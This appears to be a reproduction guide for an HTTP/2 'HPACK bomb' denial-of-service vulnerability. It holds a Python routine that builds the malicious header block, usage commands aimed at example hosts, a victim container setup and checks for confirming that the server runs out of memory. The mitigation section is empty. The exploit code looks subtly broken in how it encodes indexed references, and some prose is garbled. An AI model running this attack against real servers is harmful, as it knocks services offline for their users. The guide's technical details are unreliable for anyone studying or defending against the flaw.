CVE-2026-49975 (HTTP/2 Bomb) Complete Reproduction Guide

Based on QiAnXin CERT Advisory + Calif Original Research

================================================================

I. Vulnerability Overview

CVE-2026-49975 is a critical denial-of-service (DoS) vulnerability in HTTP/2 server and proxy implementations. The attack, dubbed "HTTP/2 Bomb" or "HPACK Bomb", exploits two design-level behaviours in the HTTP/2 protocol to force a target into unbounded memory consumption (OOM) and CPU exhaustion:

1. HPACK Indexed Reference Blow-up – a small HEADERS frame that logically references the same cookie entry thousands of times via HPACK Indexed references. On decode, the peer's HPACK decoder may allocate memory proportional to the number of references, not the wire size.
2. Flow-Control Window Stalling – combined with an initial window of zero, the sender queues HEADERS data but the receiver refuses to read until window updates arrive; buffers fill and memory pressure grows.

CVSS 3.1 Base Score: 9.8 (Critical)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. Attack Principle (Two-Stage Combination)

The attack is most effective when the two stages complement each other, but each stage alone is sufficient against some implementations.

Stage 1: HPACK Indexed Reference Bomb

HTTP/2's HPACK header compression uses an evolving dynamic table. Once a large cookie header is inserted into the table (via Literal+Incremental Encoding), an attacker can reference that entry with a 1-byte opcode. Repeated references cause the decoder to reconstruct the same header over and over.

Wire:  [Opcode: Indexed (0x80)] [Index: 63]
[1 byte per ref, repeated thousands of times]
    ↓
Decoded memory blow-up: each expansion yields a
{":method: GET", "cookie: a=xxxxxxxxx...x"} buffered for the
stream.

A 5 KB packet can expand to hundreds of megabytes of decoded payload.

Stage 2: HTTP/2 Window Stalling

SETTINGS with INITIAL_WINDOW_SIZE=0 forces the victim to queue all HEADERS/continuation data. The attacker trickles out WINDOW_UPDATE frames slowly. Buffers remain combinatorially full.

III. Affected Servers

Consult your vendor's CVE entry for exact bounds.

IV. Environment Setup

# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker quick-victim:

docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. Exploit Code

The companion script is exploit.py.

The core routine:

def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

The script performs:

• TLS connection to host:port
• HTTP/2 PRI preface + SETTINGS with window=0
• sends the HPACK bomb as HEADERS
• optionally sends slow WINDOW_UPDATE trickle
• measures RTT degradation via PING frames

VI. Usage

# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. Verify Attack Effectiveness

Monitor victim resources:

watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

Signs the attack is working:

• victim RSS grows >500 MB
• CPU jumps to 100%
• PING latencies exceed 1 second
• connections time out

VIII. Mitigation

IX. Disclaimer

This information is for educational and authorized security testing only. Only run against systems you own or have written permission to test.

References

• CVE-2026-49975 Mitre
• QiAnXin CERT Advisory (original Mandarin / English bulletin)
• Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
• RFC 7541, RFC 9113